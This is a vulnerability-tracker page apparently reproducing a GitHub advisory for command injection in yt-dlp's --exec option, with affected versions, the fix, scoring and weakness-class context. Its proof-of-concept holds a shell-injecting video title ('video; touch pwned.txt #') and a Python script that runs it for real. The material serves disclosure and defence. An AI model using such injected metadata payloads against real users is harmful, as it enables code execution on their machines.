GHSA-69qj-pvh9-c5wg: yt-dlp: Arbitrary command injection possible if --exec option used with yt-dlp
Noroxi assessment
Priority: Monitor (action score 30/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. A user must open a link or visit a page. Special conditions such as timing or configuration are required.
- Fixed version: yt-dlp (PyPI) 2026.6.9.
Low priority for now. Upgrade to yt-dlp (PyPI) 2026.6.9 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
### Summary yt-dlp's `--exec` option is vulnerable to arbitrary command injection when handling untrusted metadata if the argument uses standard string formatting (e.g. `%(title)s`) or other unsafe conversions. An attacker could achieve remote code execution on the user's machine via maliciously crafted metadata containing quotes or other special shell characters. ### Details Since yt-dlp version 2021.04.11, the `--exec` option has supported "output template syntax", which is a superset of Python's `printf`-style string formatting also used by the `--output` option. This means the user is able to pass a "command template" as an argument to the `--exec` option which will be executed by the user's shell. The command template allows for the downloaded video's metadata to be interpolated into the command string. yt-dlp implements a `%()q` conversion, which will shell-quote/escape any metadata value such that it is safe to be interpolated into a command string. However, there are unsafe conversions such as `%()s` which result in the command template being formatted with the raw metadata string. These unsafe conversions do not perform any sanitization or escaping for shell contexts. If one or more of these unsafe conversions is used in the command template, an attacker can craft a malicious metadata value containing shell operators (e.g. `;`, `&`, `|`) to break out of the intended command and execute payload commands. ### Impact The impact is limited to users who pass an `--exec` command template containing unsafe conversions in their yt-dlp command or configuration file: `%()s`, `%()a`, `%()r`, `%()j`, `%()S` (including any of their flagged variants.) ### Patches yt-dlp version 2026.06.09 fixes this issue by restricting the conversions that can be used in an `--exec` command template to those known to be safe: `%()d`, `%()i`, `%()f`, `%()q` (including any of their flagged variants.) It also restricts the characters that can be used in command template defaults and placeholders when the user passes an `--exec` argument containing output template syntax. ### Workarounds This vulnerability can be fully mitigated by doing any of the following: - Upgrade yt-dlp to version 2026.06.09 or later - Only use safe conversions (e.g. `%()d`, `%()i`, `%()f`, `%()q`) in any `--exec` command templates - Do not use "output template syntax" in any `--exec` arguments - Do not use the `--exec` option ### Proof-of-Concept 1. An attacker sets the title of a video to a malicious payload, e.g.: `video; touch pwned.txt #` 2. The victim downloads this video using yt-dlp with the `--exec` flag. Reproduction steps (simulated): 1. Create a python script poc.py to simulate the internal behavior: ```bash import unittest import os from yt_dlp.postprocessor.exec import ExecPP from yt_dlp.YoutubeDL import YoutubeDL from yt_dlp.utils import PostProcessingError # Import Popen to use the REAL one for the PoC (to actually create the file) from yt_dlp.utils import Popen as RealPopen class TestDemonstrativePoC(unittest.TestCase): FILE_NAME = "PWNED.txt" def setUp(self): # Remove the file if it exists if os.path.exists(self.FILE_NAME): os.remove(self.FILE_NAME) def test_1_demonstrate_vulnerability_simulated(self): """ Simulates the code BEFORE the fix to show what would happen. """ print("\n--- TEST 1: Simulating vulnerable state ---") # 1. Define the vulnerable Parse Method def vulnerable_parse_cmd(self, cmd, info): # This mimics the code before my patch tmpl, tmpl_dict = self._downloader.prepare_outtmpl(cmd, info) if tmpl_dict: return self._downloader.escape_outtmpl(tmpl) % tmpl_dict return cmd # 2. Patch the class temporarily original_parse_cmd = ExecPP.parse_cmd ExecPP.parse_cmd = vulnerable_parse_cmd info = { 'id': '1234', # MALICIOUS TITLE: # 1. 'video' gets echoed # 2. ; separator # 3. touch PWNED.txt creates the file # 4. # comments out the rest 'title': f'video; touch {self.FILE_NAME} #', 'ext': 'mp4', 'filepath': 'video.mp4' } ydl = YoutubeDL({'verbose': False, 'quiet': True}) try: print(f"[*] Payload Title: {info['title']}") print("[*] Executing: echo %(title)s") # Use the REAL Popen to actually execute shell commands import yt_dlp.postprocessor.exec original_popen_ref = yt_dlp.postprocessor.exec.Popen yt_dlp.postprocessor.exec.Popen = RealPopen pp = ExecPP(ydl, 'echo %(title)s') pp.run(info) # Restore Popen ref yt_dlp.postprocessor.exec.Popen = original_popen_ref # Check if file was created if os.path.exists(self.FILE_NAME): print(f"[!] VULNERABILITY CONFIRMED: File '{self.FILE_NAME}' was created on disk!") else: print("[?] File not created. Payload might have failed.") finally: # Restore the secure method ExecPP.parse_cmd = original_parse_cmd if __name__ == '__main__': unittest.main() ``` 2. Run the script: `python3 poc.py` 3. Check the directory. A file named `PWNED.txt` will be created, proving arbitrary command execution. <img width="1386" height="757" alt="poc" src="https://github.com/user-attachments/assets/b21a1dd9-f86d-4836-861b-7e880f639c08" />
- Published
- Jun 16, 2026
- Updated
- Jun 16, 2026
- EPSS
- —
- CWE
- CWE-78
Report tools
Action score
30
Low priority for now.
- CVSS
- 30 / 40 · 7.5 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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- No public exploit code on record
- A fix has been released
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| Vendor | Product | CPE |
|---|---|---|
| PyPI | yt-dlp | pkg:pypi/yt-dlp |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| PyPI | yt-dlp | from 2021.4.11 · before 2026.6.9 | 2026.6.9 |
Same product
PyPI: all recordsOther highest-scoring records for the same primary product.
- GHSA-3v33-3wmw-3785yt-dlp has dependency on potentially malicious third-party code in Douyu extractors0Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| PyPI:yt-dlp | 2026.6.9 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- A user must open a link or visit a page.
- Special conditions such as timing or configuration are required.
If successful
- Confidentiality
- high · data can be read
- Integrity
- high · data or configuration can be modified
- Availability
- high · the service can be disrupted
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality impact
- High
- Integrity impact
- High
- Availability impact
- High
Weakness class (CWE)
CWE-78 · Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
osv
Root cause
User input is inserted as text into a shell command. The shell may interpret special characters in the input as part of the command.
The bug in code
The whole CWE-78 classA representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.
Vulnerable
const host = req.body.host;
exec("ping -c 1 " + host, onResult);Fixed
const host = req.body.host;
if (!/^[a-z0-9.-]{1,253}$/i.test(host)) return res.sendStatus(400);
execFile("ping", ["-c", "1", host], onResult);Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
- Command Line Execution through SQL InjectionCAPEC-108likelihood: Low · Very High
- Command DelimitersCAPEC-15likelihood: High · High
- Exploiting Multiple Input Interpretation LayersCAPEC-43likelihood: Medium · High
- Argument InjectionCAPEC-6likelihood: High · High
- OS Command InjectionCAPEC-88likelihood: High · High
ATT&CK techniques
—
Change log (1)
- Fix✗ → ✓
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References
Show all references (5 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.